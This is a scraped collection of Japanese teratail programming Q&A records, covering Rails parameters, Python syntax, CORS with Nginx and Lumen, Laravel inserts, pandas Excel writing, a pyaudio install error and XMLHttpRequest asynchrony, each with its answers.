Railsのcreateアクションの引数にはカラムとそこに保存したい値を入れると思うんですが、その値をストロングパラメーターを通して決めるときに ``` class TweetsController < ApplicationController def create Tweet.create(tweet_params) end private def tweet\_params params.permit(:image, :text) end ``` このように渡すことができますよね? それに対して、createの引数にtweet\_paramsにあるものとは別のparamsを加えたいときは、tweet\_paramsを展開する必要があると思います。 ``` class TweetsController < ApplicationController def create Tweet.create(image: tweet_params[:image], text: tweet_params[:text], user\_id: current_user.id) end private def tweet\_params params.permit(:image, :text) end ``` これを展開せずに ``` Tweet.create( tweet\_params, user\_id: current\_user.id) ``` とすると引数エラーになります。 tweet\_paramsが持ってるのは{text: 〜, image:〜}というハッシュの状態なので、createの引数としては ({ }, user\_id:〜)となり、エラーになるのはなんとなくわかるんですが、 エラーの内容が「数が合わない」という意味のエラーなので、どこを判断して数が合わないというエラーになるのかがよくわからないので、教えていただけたら幸いです。 ちなみに(あんまりちなんでませんが) 外部からの呼び出しを避けるためにprivateメソッドをつけるとありますが、 実際に外部から呼び出される状況、呼び出されたらまずい状況ってなんなのでしょうか??
Railsのcreateの引数について( + privateについて) ===================================
teratail.com
2020.45
[ { "text": "\n```\n# 動かない気もする\nTweet.create( **tweet_params, user\\_id: current_user.id)\n# ダメだったらコッチ\nTweet.create( tweet_params.merge!(user\\_id: current_user.id))\n```\n\n\n> \n> 外部からの呼び出しを避けるためにprivateメソッドをつけるとありますが、 \n> \n> 実際に外部から呼び出される状況、呼び出されたらまずい状況ってなんなのでしょうか?? \n> \n> \n> \n\n\nrubyの場合、呼ぼうと思えば外部のクラスからでもprivateメソッドを呼び出せるので \n\n「内部用の関数ですよ」という宣言以上の意味はありません。 \n\n呼び出しを避ける、というよりは外部に公開するメソッドを制限する事で外部から扱いやすくなります。\n\n", "name": "", "is_accepted": true } ]
481343bd5a399ffc4a873ed162005408
### 前提・実現したいこと Pythonを本で勉強しているのですが、内容を写しているのにうまくいきません。 drinksという辞書の中から'vodka'を含んだものを表示させたいです。 よろしくお願いします。 ### 発生している問題・エラーメッセージ ``` SyntaxError: invalid syntax ``` ### 該当のソースコード ``` for name, contents in drinks.items(): if 'vodka' in contents: print(name) ``` ### 試したこと ここに問題に対して試したことを記載してください。 ### 補足情報(FW/ツールのバージョンなど)
Python エラーの理由が分からない ===================
teratail.com
2021.39
[ { "text": "本当に改行含めてそう書いてありましたか? 構文上エラーになるのですが。 \n\n\n普通に改行・インデントして書けば動きます。 \n\n\n\n```\ndrinks = {\"おいしい\":\"vodka\", \"すき\":\"gin\"}\nfor name, contents in drinks.items():\n if 'vodka' in contents: \n print(name) # =>おいしい\n```\n\nこれも可。 \n\n\n\n```\ndrinks = {\"おいしい\":\"vodka\", \"すき\":\"gin\"}\nfor name, contents in drinks.items():\n if 'vodka' in contents: print(name) # =>おいしい\n```\n\nしかしインデントブロックを作るような文の場合は改行を省略できないことになっています。 \n\n\n\n> \n> 複合文は、一つ以上の '節 (clause)' からなります。節は、ヘッダと 'スイート (suite)' からなります。一つの複合文を成す各節のヘッダは、全て同じインデントレベルに置かれます。各節のヘッダは一意に識別するキーワードで始まり、コロンで終わります。スイートは、節によって制御される文の集まりです。スイートは、ヘッダがある行のコロンの後にセミコロンで区切って置かれた一つ以上の単純文、または、ヘッダに続く行で一つ多くインデントされた文の集まりです。後者の形式のスイートに限り、さらに複合文をネストできます; 以下の文は、 else 節がどちらの if 節に属するかがはっきりしないなどの理由から不正になります: \n> \n> \n> \n> ```\n> if test1: if test2: print(x)\n> ```\n> \n> \n> \n> https://docs.python.org/ja/3/reference/compound\\_stmts.html \n> \n> \n> \n\n\n気になるので、本当にそう書いてあったのなら、よろしければなんという本の何ページなのか教えてください。\n\n", "name": "", "is_accepted": true }, { "text": "改行してインデントを正しく使いましょう。Pythonはインデントの深さが大事です。 \n\n\n\n```\nfor name, contents in drinks.items():\n if 'vodka' in contents: \n print(name)\n```\n", "name": "", "is_accepted": false } ]
a50919f4dd8e8c9ddb2104a946218047
概要 -- 現在下記の様な構成のアプリケーションを開発しています。 [![構成図](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/8db967454e96a4b3c5f6b8866894ceaf.png)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/8db967454e96a4b3c5f6b8866894ceaf.png) フロントエンドにReact.js、バックエンドにAPIサーバーのLumen、その間にリバースプロキシとしてNginxを置いています。 そこで、ReactからPromiseベースのAjaxライブラリであるaxiosを使ったところCORSで弾かれました。 Lumen側でCORSの設定をし、一応は回避することはできたのですが、特定のページにいくとまたCORSで弾かれます。 画面の遷移にはreact-routerを使用しています。個人的にはwebpack、もしくはnginxの設定が間違っていると考えています。 自分なりに色々調べてみましたが、解決せず…。 どなたか解決方法のご教授お願いいたします。 エラーの内容 ------ ``` Access to XMLHttpRequest at 'http://localhost:8000/api/sticky' from origin 'http://localhost:3000' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. ``` 該当のコード ------ ``` // nginx server { listen 0.0.0.0:80; server_name localhost; charset utf-8; location / { root /var/www/client/dist; index index.html index.htm; try_files $uri $uri/ /index.html; if ($request_method = 'OPTIONS') { add_header 'Access-Control-Allow-Origin: $http_origin'); add_header 'Access-Control-Allow-Origin: GET, POST, DELETE, PUT, PATCH, OPTIONS'); add_header 'Access-Control-Allow-Credentials: true'); add_header 'Vary: Origin'); } add_header 'Access-Control-Allow-Origin' "$http\_origin" always; add_header 'Access-Control-Allow-Credentials' 'true' always; add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, PATCH, DELETE, OPTIONS' always; add_header 'Access-Control-Allow-Headers' 'Accept,Authorization,Cache-Control,Content-Type,DNT,If-Modified-Since,Keep-Alive,Origin,User-Agent,X-Requested-With' always; } # Media: images, icons, video, audio, HTC location ~* \.(?:jpg|jpeg|gif|png|ico|cur|gz|svg|svgz|mp4|ogg|ogv|webm|htc)$ { expires 1M; access_log off; add_header Cache-Control "public"; } # ReverseProxy: Lumen API server location ^~ /api { proxy_pass http://127.0.0.1:8000; location ~ \.php$ { fastcgi_pass server:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } if ($request_method = 'OPTIONS') { add_header 'Access-Control-Allow-Origin: $http_origin'); add_header 'Access-Control-Allow-Origin: GET, POST, DELETE, PUT, PATCH, OPTIONS'); add_header 'Access-Control-Allow-Credentials: true'); add_header 'Vary: Origin'); } add_header 'Access-Control-Allow-Origin' "$http\_origin" always; add_header 'Access-Control-Allow-Credentials' 'true' always; add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, PATCH, DELETE, OPTIONS' always; add_header 'Access-Control-Allow-Headers' 'Accept,Authorization,Cache-Control,Content-Type,DNT,If-Modified-Since,Keep-Alive,Origin,User-Agent,X-Requested-With' always; } } ``` ``` // Lumen <?php namespace App\Http\Middleware; use Closure; class CorsMiddleware { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { // TODO:Access-Control-Allow-Originを適切に指定する必要がある $headers = [ 'Access-Control-Allow-Origin' => '*', 'Access-Control-Allow-Methods' => 'POST, GET, PUT, DELETE, OPTIONS', 'Access-Control-Allow-Credentials' => 'true', 'Access-Control-Max-Age' => '86400', 'Access-Control-Allow-Headers' => 'Content-Type, Authorization, X-Requested-With' ]; // preflightリクエスト用 if ($request->isMethod('OPTIONS')) { return response()->json('{"method":"OPTIONS"}', 200, $headers); } $response = $next($request); foreach ($headers as $key => $value) { $response->header($key, $value); } return $response; } } ``` ``` // webpack.config.js import path from 'path' const src = path.resolve(__dirname, 'src') const dist = path.resolve(__dirname, 'dist') module.exports = { mode: "development", entry: ['@babel/polyfill', src + '/index.js'], output: { path: dist, filename: "main.js" }, module: { rules: [ { // css test: /\.css$/, exclude: { include: /node\_modules/, // quill.js exclude: /node\_modules\/react-quill\// }, use: [ 'style-loader', { loader: 'css-loader', options: { url: false, }, }, ], }, { // js test: /\.js$/, exclude: /node\_modules/, use: [ { loader: 'babel-loader', options: { presets: [['@babel/preset-env', { modules: false }]] } } ] }, { // tsx test: /\.tsx?$/, use: "ts-loader", }, { // image test: /\.(jpg|JPG|jpeg|png|PING|gif|mp3|svg|ttf|woff2|woff|eot)$/, use: { loader: "file-loader", options: { name: "[name].[ext]", outputPath: "assets/img", publicPath: path => "/assets/img/" + path } } } ] }, resolve: { extensions: [".ts", ".tsx", ".js", ".json"] }, devServer: { contentBase: './dist', host: '0.0.0.0', port: 3000, inline: true, historyApiFallback: true } }; ``` バージョン ----- Lumen 6.3.3
特定のルートのみReact(JavaScript)からLumen(PHP)へAjaxをした際にCORSで弾かれる。 =========================================================
teratail.com
2020.45
[ { "text": "PHPのエラーを修正したところ正常に動作いたしました!\n\n", "name": "", "is_accepted": true } ]
12d7e1a58fe9febb60e4dc8885ffe5f3
### 前提・実現したいこと 外部アプリケーションから送られてきたJsonをLaravelで受け取って、それをMysqlに登録する ### 発生している問題・エラーメッセージ ``` { "message": "SQLSTATE[HY000]: General error: 1364 Field 'user\_name' doesn't have a default value (SQL: insert into `users` (`account\_code`) values (account\_code))", "exception": ``` ### 該当のソースコード ``` public function userRegistration(Request $request){ $request->all(); dump($request->all()); DB::table('users')->insert( ['account\_code' => 'account\_code'], ['user\_name' => 'user\_name'] ); } ``` ### 送られてきているJson dump($request->all());で見た結果一部割愛していますが、Jsonそのものは取得できていると思います ``` "account\_code" => "19384724937" "user\_id" => "4" "user\_name" => "テストユーザー" ``` ### 試したこと 課題に対してアプローチしたことを記載してください doesn't have a default value というのは、データベースのSQLモードに”STRICT\_TRANS\_TABLES”が追加されているため起こるそうなので 下記のようになっていたものを mysql> SHOW GLOBAL VARIABLES LIKE 'sql\_mode'; +---------------+--------------------------------------------------------------- | Variable\_name | Value +---------------+--------------------------------------------------------------- | sql\_mode      | ONLY\_FULL\_GROUP\_BY,STRICT\_TRANS\_TABLES,NO\_ZERO\_IN\_DATE,NO\_ZERO +---------------+--------------------------------------------------------------- 1 row in set (0.01 sec) このように変更しました mysql> SET GLOBAL sql\_mode=NO\_ENGINE\_SUBSTITUTION; Query OK, 0 rows affected, 1 warning (0.00 sec) mysql> SHOW GLOBAL VARIABLES LIKE 'sql\_mode'; +---------------+------------------------+ | Variable\_name | Value                  | +---------------+------------------------+ | sql\_mode      | NO\_ENGINE\_SUBSTITUTION | +---------------+------------------------+ しかし結果は変わらずです。 原因はSQLモードに”STRICT\_TRANS\_TABLES”が設定されているからというわけではないのでしょうか? 問題点としてどのようなことが考えられますか? ### 補足情報(言語/FW/ツール等のバージョンなど) Laravel5.5  Mysqlバージョン 5.7.20-0ubuntu0.16.04.1  環境 Vagrant Homestead
laravelで受け取ったJsonをデータベースに保存するには ===============================
teratail.com
2020.16
[ { "text": "あなたのコードの以下の箇所ですが、 \n\n\n\n```\n DB::table('users')->insert(\n ['account\\_code' => 'account\\_code'],\n ['user\\_name' => 'user\\_name']\n );\n```\n\n \n\nまずinsertに渡すデータは「1件のレコードが1個の連想配列」になっていなければならず、これでは「account\\_codeだけを持ったデータ、user\\_nameだけを持ったデータそれぞれ1件ずつ」というinsertになります。そして、`'user_name' doesn't have a default value`というエラーは「user\\_nameにはデフォルト値が無いです」という意味であり、前者の「account\\_codeだけを持つデータ」にuser\\_nameが無いためエラーとなっています。さらに、送られてきたjsonからデータを取るのであれば、$requestからデータを取り出さなければ意味がありません。よって以下のコードが正しい動作をすると思います。 \n\n\n\n```\n DB::table('users')->insert(\n ['account\\_code' => $request->input('account\\_code'),\n 'user\\_name' => $request->input('user\\_name')]\n );\n```\n", "name": "", "is_accepted": true } ]
b7c6f7fc457a83172e54a6a03258a051
### 前提・実現したいこと Ruby on rails 初心者です。 現在、ECサイトの構築を行っており、つまずいたのは「DBへの配列情報」の登録処理です。 `cart_itemsテーブル`に入っているカート情報が2つ以上の場合、配列を使って`ordersテーブル`に情報が登録される処理を作成しております。 「商品購入」ボタン押下→`createアクション`で`addressesテーブル`や`ordrsテーブル`に商品情報などを登録(購入する商品が1つの場合であれば問題ないのですが、2つ以上になると配列を使わないといけないかなと思っております。) という流れを構築しようと考えています。 ### 発生している問題・エラーメッセージ 商品がテーブルに登録されない。 ログを見ると、`"product_id"=>["6", "1"], "quantity"=>["1", "2"],`というように、配列で送られているところまでは実装できましたが、 テーブルにsaveする時(もしくはその一個手前:今回の場合、`address_params`アクション)にSQL文が発行されないのではないかと考えております。 配列で送られてきたデータをテーブルに1つずつ(2つの商品があれば2レコード)送信する方法をどなたか教えていただけませんでしょうか。 ### 該当のソースコード ``` (views/orders/index.html.erb)一部記載 <%= form\_for(@address, url: orders\_path) do |f|%> <%= f.hidden\_field :user\_id, value: current\_user.id %> <%= f.hidden\_field :last\_name, value: session[:last\_name] %> <%= f.hidden\_field :first\_name, value: session[:first\_name] %> <%= f.hidden\_field :furi\_last\_name, value: session[:furi\_last\_name] %> <%= f.hidden\_field :furi\_first\_name, value: session[:furi\_first\_name] %> <%= f.hidden\_field :postal\_code, value: session[:postal\_code] %> <%= f.hidden\_field :prefecture, value: session[:prefecture] %> <%= f.hidden\_field :address, value: session[:address] %> <%= f.hidden\_field :store, value: session[:store] %> <%= f.hidden\_field :how\_to\_pay, value: session[:how\_to\_pay] %> <%= f.fields\_for :orders do |o|%> <% @cart\_items.each do |cart\_item|%> <% product = Product.find\_by(id: cart\_item.product\_id) %> <%= hidden\_field\_tag "product\_id[]", product.id %> <%= hidden\_field\_tag "quantity[]", cart\_item.quantity %> <% end%> <% end %> <p><%= f.submit "注文確定", class: 'btn' %></p> <% end %> ``` ``` (controllers/ordes_controller.rb)★一部記載 def index cart = Cart.find_by(user\_id: current_user.id) @cart_items = CartItem.where(cart\_id: cart.id) @product= Product.find_by(id: current_user.id) @address = Address.new @order = @address.orders.build end def create @address = Address.new(address_params) if @address.save flash[:success] = "購入が完了しました。" session.delete(:store) session.delete(:last\_name) session.delete(:first\_name) session.delete(:furi\_last\_name) session.delete(:furi\_first\_name) session.delete(:postal\_code) session.delete(:prefecture) session.delete(:address) session.delete(:how\_to\_pay) CartItem.where(cart\_id: current_cart).delete_all redirect_to root_path else render "index" end end private def address\_params params.require(:address).permit(:user\_id, :last\_name, :first\_name, :furi\_last\_name, :furi\_first\_name, :postal\_code, :prefecture, :address, :store, :how\_to\_pay, orders\_attributes: [ product\_id:[], quantity:[] ]) end ``` ``` (models/address.rb) class Address < ApplicationRecord has_many :orders accepts_nested_attributes_for :orders end addressesテーブル(カラム) id user_id last_name first_name furi_last_name furi_first_name postal_code prefecture address store how_to_pay ``` ``` (models/order.rb) class Order < ApplicationRecord belongs_to :address belongs_to :product end ordersテーブル(カラム) id product_id quantity address_id ``` ``` (models/product.rb)※一部記載 class Product < ApplicationRecord has_many :orders end productsテーブル(カラム) id name price count comment category ```
ruby on rails 配列のデータ送信方法 ========================
teratail.com
2021.31
[ { "text": "下記の通りに変更すると、うまくいきました! \n\n\n\n```\n(views/orders/index.html.erb)一部記載\n<%= form\\_for(@address, url: orders\\_path) do |f|%>\n <%= f.hidden\\_field :user\\_id, value: current\\_user.id %>\n <%= f.hidden\\_field :last\\_name, value: session[:last\\_name] %>\n <%= f.hidden\\_field :first\\_name, value: session[:first\\_name] %>\n <%= f.hidden\\_field :furi\\_last\\_name, value: session[:furi\\_last\\_name] %>\n <%= f.hidden\\_field :furi\\_first\\_name, value: session[:furi\\_first\\_name] %>\n <%= f.hidden\\_field :postal\\_code, value: session[:postal\\_code] %>\n <%= f.hidden\\_field :prefecture, value: session[:prefecture] %>\n <%= f.hidden\\_field :address, value: session[:address] %>\n <%= f.hidden\\_field :store, value: session[:store] %>\n <%= f.hidden\\_field :how\\_to\\_pay, value: session[:how\\_to\\_pay] %>\n\n <% @cart\\_items.each do |cart\\_item|%>★重要\n <%= f.fields\\_for :orders do |o|%>\n <% product = Product.find\\_by(id: cart\\_item.product\\_id) %>\n <%= o.hidden\\_field :product\\_id, value: product.id %>\n <%= o.hidden\\_field :quantity, value: cart\\_item.quantity %>\n <% end%>\n <% end %>\n\n <p><%= f.submit \"注文確定\", class: 'btn' %></p>\n <% end %>\n```\n\n\n```\nprivate\ndef address\\_params\n params.require(:address).permit(:user\\_id, :last\\_name, :first\\_name, :furi\\_last\\_name, :furi\\_first\\_name, :postal\\_code, :prefecture, :address, :store, :how\\_to\\_pay, orders\\_attributes: [\n :product\\_id, :quantity\n ])\nend\n```\n", "name": "", "is_accepted": true }, { "text": "product\\_id、quantityには数値しか入らないため、配列を登録しようとしても登録はできませんね。 \n\n配列で受け取ったproduct\\_id:[], quantity:[]をそれぞれ1つづつ登録する必要があります。 \n\n\n[Active Record Nested Attributes](https://api.rubyonrails.org/classes/ActiveRecord/NestedAttributes/ClassMethods.html) \n\n少し調べた感じですと \n\n↓ このように渡しているので、 \n\n\n\n```\nMember.create(\n name: 'joe',\n posts\\_attributes: [\n { title: 'Foo' },\n { title: 'Bar' }\n ]\n)\n```\n\nformから渡す内容を \n\n↓ このようになるように作るとできるのではないでしょうか \n\n\n\n```\norders\\_attributes: [\n { product\\_id: 6, quantity: 1 },\n { product\\_id: 1, quantity: 2 } \n])\n```\n\nまた、渡すパラメータなどの整合性はmodelデータやテーブル設計を見ないとわらからないので、 \n\nそれらの情報は載せておいたほうがよいですね!\n\n", "name": "", "is_accepted": false } ]
e8a542d33062022705b69d3bafd580bc
会社役員が人事評価することができるアプリを作っているとします。役員は複数人います。 評価時期毎に役員は、従業員が一覧ページで従業員毎に数字を入力していき、すべて入力し終わるとsubmitして一括保存します。 このような画面や仕様の場合、従業員のレコードに重複がなく、かつ役員の誰が入力したかをわかるにはどのような実装・テーブル設計になりますか? よろしくお願いします。
【Rails】ユニークかつ子レコード数が決まっている1対多を一覧で更新したい ======================================
teratail.com
2021.10
[ { "text": "役員が複数かつ従業員も複数なので、これは多対多の関係だと思われます\n \n\n \nので、中間テーブルをもつのがセオリーではないでしょうか?\n \n\n \n\n \n\n```\nclass Employee < ActiveRecord::Base\n  has_many :rates\nend\n\nclass Rate < ActiveRecord::Base\n  belongs_to :employee\n  belongs_to :employer\nend\n\nclass Employer < ActiveRecord::Base\n  has_many :rates\nend\n```\n\n \nちょうどこんな形ではないでしょうか?\n \nRateに評価値を持たせておくと良いかと思います\n \n\n \n \n", "name": "", "is_accepted": false } ]
0663f030db16cf4b3c2d4dc62f73cbb7
pythonでexcelのシートを作成し、**シートを指定して書き出しを行いたいです**。 下記プログラムではシートが上書きされてうまくいきません。 現状は、コメントアウトに書いてある通りです。 下記のコードでは、dfの中には既にデータが格納されています。 ``` import pandas as pd import openpyxl wb = openpyxl.Workbook() for i in range(1, 5): worksheet = wb.create_sheet(title=str(i)) wb.save("Sample.xlsx")   ## この時点ではシート1-4が作成されています df.to_excel('Sample.xlsx', sheet_name='1') #ここでexcelファイルを見ると、書き出しはできているがシート1以外が消えています df.to_excel('Sample.xlsx', sheet_name='2') #ここでexcelファイルを見ると、さっき追加したはずのシート1が消えてシート2だけになっています #for文でシートを4つ作ったはずなのにdf.to\_excelすると上書きされているのでしょうか ``` **シートを指定して書き出しを行う**方法はあるでしょうか? つたない文章で申し訳ありません。 解答よろしくお願いいたします。 環境 windows10 python 3.7
pythonでのexcelの操作 ================
teratail.com
2021.43
[ { "text": "追記モードでpd.ExcelWriterを作れば良いです。 \n\n\n\n```\nwith pd.ExcelWriter('Sample.xlsx', mode='a') as writer:\n df.to_excel(writer, sheet_name='1')\n```\n\n\n\n---\n\n\n何か分からないことがあったときは、まずリファレンスを見ましょう。 \n\n案外そのままの答えが書いてあったりするものです。 \n\n\n\n> \n> ExcelWriter can also be used to append to an existing Excel file: \n> \n> \n> \n> ```\n> >>> with pd.ExcelWriter('output.xlsx',\n> ... mode='a') as writer: \n> ... df.to_excel(writer, sheet_name='Sheet\\_name\\_3')\n> ```\n> \n> \n\n\n[pandas.DataFrame.to\\_excel — pandas 1.1.4 documentation](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.to_excel.html)\n\n", "name": "", "is_accepted": true }, { "text": "for文でSheet生成しながら書き込むなら下記のように書けます。 \n\n\n\n```\nimport pandas as pd\ndf = pd.DataFrame({\"A\":[*range(5)], \"B\":[*range(5)]})\nwith pd.ExcelWriter('pandas_to_excel_multi.xlsx') as writer:\n for i in range(1,5):\n df.to_excel(writer, sheet_name=str(i))\n```\n", "name": "", "is_accepted": false } ]
24b9c2eb54b867bfc14a8d84c6985813
### 前提・実現したいこと macを使用しておりPythonのモジュールの一つであるpyaudioをインストールしたいのですが以下のようなエラーが出ます。対処方法を教えていただけないでしょうか? ### 発生している問題・エラーメッセージ tsugawahiroaki-no-MacBook-Pro:study Hiroaki$ pip install pyaudio Collecting pyaudio   Using cached PyAudio-0.2.9.tar.gz Installing collected packages: pyaudio   Running setup.py install for pyaudio     Complete output from command /usr/bin/python -c "import setuptools, tokenize;*file*='/private/var/folders/xt/n015ngwn5bs42r276\_p7jk0m0000gn/T/pip-build-wvbZmU/pyaudio/setup.py';exec(compile(getattr(tokenize, 'open', open)(*file*).read().replace('\r\n', '\n'), *file*, 'exec'))" install --record /var/folders/xt/n015ngwn5bs42r276\_p7jk0m0000gn/T/pip-CpVNdJ-record/install-record.txt --single-version-externally-managed --compile:     running install     running build     running build\_py     creating build     creating build/lib.macosx-10.10-intel-2.7     copying src/pyaudio.py -> build/lib.macosx-10.10-intel-2.7     running build\_ext     building '\_portaudio' extension     creating build/temp.macosx-10.10-intel-2.7     creating build/temp.macosx-10.10-intel-2.7/src     cc -fno-strict-aliasing -fno-common -dynamic -arch x86\_64 -arch i386 -g -Os -pipe -fno-common -fno-strict-aliasing -fwrapv -DENABLE\_DTRACE -DMACOSX -DNDEBUG -Wall -Wstrict-prototypes -Wshorten-64-to-32 -DNDEBUG -g -fwrapv -Os -Wall -Wstrict-prototypes -DENABLE\_DTRACE -arch x86\_64 -arch i386 -pipe -DMACOSX=1 -I/System/Library/Frameworks/Python.framework/Versions/2.7/include/python2.7 -c src/\_portaudiomodule.c -o build/temp.macosx-10.10-intel-2.7/src/\_portaudiomodule.o     cc -bundle -undefined dynamic\_lookup -arch x86\_64 -arch i386 -Wl,-F. build/temp.macosx-10.10-intel-2.7/src/\_portaudiomodule.o -lportaudio -o build/lib.macosx-10.10-intel-2.7/\_portaudio.so     ld: warning: ignoring file /usr/local/lib/libportaudio.dylib, file was built for x86\_64 which is not the architecture being linked (i386): /usr/local/lib/libportaudio.dylib     running install\_lib     copying build/lib.macosx-10.10-intel-2.7/\_portaudio.so -> /Library/Python/2.7/site-packages     error: [Errno 13] Permission denied: '/Library/Python/2.7/site-packages/\_portaudio.so'     ---------------------------------------- Command "/usr/bin/python -c "import setuptools, tokenize;*file*='/private/var/folders/xt/n015ngwn5bs42r276\_p7jk0m0000gn/T/pip-build-wvbZmU/pyaudio/setup.py';exec(compile(getattr(tokenize, 'open', open)(*file*).read().replace('\r\n', '\n'), *file*, 'exec'))" install --record /var/folders/xt/n015ngwn5bs42r276\_p7jk0m0000gn/T/pip-CpVNdJ-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /private/var/folders/xt/n015ngwn5bs42r276\_p7jk0m0000gn/T/pip-build-wvbZmU/pyaudio ### ソースコード ``` ここにご自身が実行したソースコードを書いてください ``` ### 補足情報(言語/FW/ツール等のバージョンなど)
Python pyaudioの導入 =================
teratail.com
2021.31
[ { "text": "copying build/lib.macosx-10.10-intel-2.7/\\_portaudio.so -> /Library/Python/2.7/site-packages  \n\nerror: [Errno 13] Permission denied: '/Library/Python/2.7/site-packages/\\_portaudio.so'  \n\nとあるので、build/lib.macosx-10.10-intel-2.7/\\_portaudio.so を /Library/Python/2.7/site-packages へコピーすることが権限が無いためにできない状態です。 \n\n\npip install pyaudio を実行する時に、管理者権限が必要なのではないでしょうか? \n\n", "name": "", "is_accepted": true }, { "text": "hiro-kさん \n\nご回答ありがとうございました。 \n\n最終的に一旦macに標準で使用しているpythonでなく公式サイトからpython及びhomebrewとpipを再インストールができました。 \n\nアドバイスありがとうございました。\n\n", "name": "", "is_accepted": false } ]
d9912f476aae5b97785698fba17807b6
HTMLで別タブでリンクを開かせたいとき ``` <a href="ここにURL" target="_blank">ここにリンクテキスト</a> ``` こうすると思うのですが、別タブで開いた時に元のウィンドウをアクティブにしておきたいです。 この状態だと新しく別タブで開いた方に画面が移動してしまいます。 別タブで開いた状態で画面を移動させない方法を教えてください。
HTML 別タブでリンクを開く ===============
teratail.com
2021.31
[ { "text": "ぐぐったら出てきました。\n \n\n \n<http://be-a-prgrmr.hatenablog.com/entry/2014/12/27/065651>\n \n\n \n内容としては(ctrl | cmd)キーを押しながらリンクをクリックしたときの動作を実現するものみたいなので、OSを判定して分岐させることが必要かと思います。 \n", "name": "", "is_accepted": true }, { "text": "新規タブを開く際の挙動はブラウザに委ねられるので、htmlやjsではどうにも出来ないと思います。\n \nサイト上に各ブラウザの設定方法を記載しておくのが妥協案だと思います。 \n", "name": "", "is_accepted": false }, { "text": "こんにちは。\n \n\n \nわたくしもいろいろ試してみましたが、上手くいきませんでした。\n \nユーザーの気が付かないようにタブが開くというのは、セキュリティ上よろしくないので\n \nできなくなっているのかもしれません。\n \n\n \nわたくしが考えたのは、リンクではなくJavaScriptで別ウィンドウを開いて\n \nフォーカス制御を行おうと考えました。\n \n\n \n\n```\n<script type=\"text/javascript\">\n    <!--\n    function link(){\n        win=window.open( \"next.html\", null,\"width=400, height=300\");\n        window.focus();\n        win.blur(); \n    }\n   // -->\n</script>\n```\n\n \n\n```\n<a href=\"javascript:link();\">ここにリンクテキスト</a>\n```\n\n \n動作は保証できませんが、考え方の参考になればと思い投稿いたしました。\n \nなお、タブの場合はうまくいきませんでした。参考になれば幸いです。 \n", "name": "", "is_accepted": false }, { "text": "window.blur() とか駆使するのかなと思いましたが、\n \nそもそもwebブラウザにおけるセキュリティ対策でjavascriptの一部無効化とか施されていると\n \nまったく意味をなさなかったため、ご要望通り動かすのは大変困難ではないかと思います。 \n", "name": "", "is_accepted": false } ]
f22a0fc6199508b96830d04b00f00b92
Laravel5.1を使っています。 タイトル通り、 ``` php artisan make:Model HogeModel ```   でModelをModelsフォルダ内に作りたいのですが、なぜかapp直下に作成されてしまいます。 これをどうにかModelsフォルダの下に作れないでしょうか。 余談ですが、なぜLaravel5からModelsフォルダが無いのでしょうか?汗 以上、よろしくお願い致します。
php artisan make:Model Hoge でModelをModelsフォルダ内に作りたい ===================================================
teratail.com
2021.43
[ { "text": " \nこんにちは。\n \n\n \n回答依頼を折角頂けましたのでご参考までに。\n \n\n \n* これをどうにかModelsフォルダの下に作れないでしょうか。\n\n\n \n期待する答えとは異なるかもしれませんが、\n \nディレクトリも指定することで一応可能なようです。\n \n<http://qiita.com/astrsk_hori/items/c3748c588164ab0ebd1b#model%E3%82%92%E4%BD%9C%E6%88%90>\n \n\n \n* なぜLaravel5からModelsフォルダが無いのでしょうか?\n\n\n \nmodelsディレクトリが無いことについてはこちらのサイトが参考になるかもしれません。\n \n<http://kore1server.com/296/>\n \n<http://kore1server.com/310/>\n \n \n", "name": "", "is_accepted": true } ]
b80e139aa715b5e2e72b4f779517838d
お世話になります。 javascriptをローカルのブラウザで動作させて 対象のwebサーバからhttpのステータスコードを取得、 200か否かで表のSTATUS欄の色と文言を変化させたいです。 ※クロスドメイン制限はブラウザで解除 xhr.onreadystatechange実行時にif文で resultにOKかNG bg\_colorに表示する色 を代入していますが、 その後のdocument.writeにうまく反映されません。 (undefinedになってしまう) ご教授願います。 ``` <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=Shift\_JIS"> <script language="JavaScript" type="text/javascript"> // 自動更新のリロード時間 //setTimeout("location.reload()",1000*60); // DUMY SERVERのURL var base_url = "http://XXX.XXX.XXX."; // DUMY SERVERの数 var max = 15; </script> </head> <body> <script language="JavaScript" type="text/javascript"> document.write("<table border=\"3\">"); document.write("<tr bgcolor=\"Aqua\"><th>DUMY SERVER</th><th>STATUS</th></tr>"); var ip = 10; for(var i = 1 ; i <= max ; i++) { ip++; var url = base_url + ip; var server = "SAVEDUMY" + i; var result; var bg_color; var xhr = new XMLHttpRequest(); xhr.open('GET', url, true); xhr.onreadystatechange = function(){ if (xhr.readyState === 4 && xhr.status === 200){ //console.log("200"); result = "OK"; bg_color = "Lime"; }else{ result = "NG"; bg_color = "Red"; } }; xhr.send(); document.write("<tr><td>" + server + "</td><td bgcolor=\"" + bg_color + "\">" + result + "</td></tr>"); } document.write("</table>"); </script> </body> </html> ```
javascriptでhttpステータスコードを取得 ==========================
teratail.com
2021.04
[ { "text": "\n```\nxhr.onreadystatechange = function(){\n if (xhr.readyState === 4 && xhr.status === 200){\n //console.log(\"200\");\n result = \"OK\";\n bg_color = \"Lime\";\n }else{\n result = \"NG\";\n bg_color = \"Red\";\n }\n };\n```\n\n \n\nの中で確実にresultとbg\\_colorに値が入っていますか? \n\nプログラムのミスやエラーの原因を探る基本的な方法として、console.log()で、処理がどこを通っているかを確認してみるといいと思います。 \n\n\nちなみにIE11で試したらred,NGがそれぞれ入り、Firefoxだと両者ともundifinedになりました。 \n\nクロスオリジン要求が通らずそもそもgetできていない感じです。 \n\n\n※クロスドメイン制限はブラウザで解除 \n\nとありますが、これがうまくいっていないのではないでしょうか?\n\n", "name": "", "is_accepted": false }, { "text": "`XMLHttpRequest` は非同期通信なので、`onreadystatechange` を定義した直後の `document.write` は高確率で `undifined` になります。描画処理は `onreadystatechange` に代入している関数内で行うのが良いでしょう。 \n\n\nまた、`document.write` は記述場所と実行タイミングによって描画位置が変わる場合があるため、今回のコードであれば `\"</table>\"` の後に `\"<tr><td>\"・・・` が出力される可能性があります。 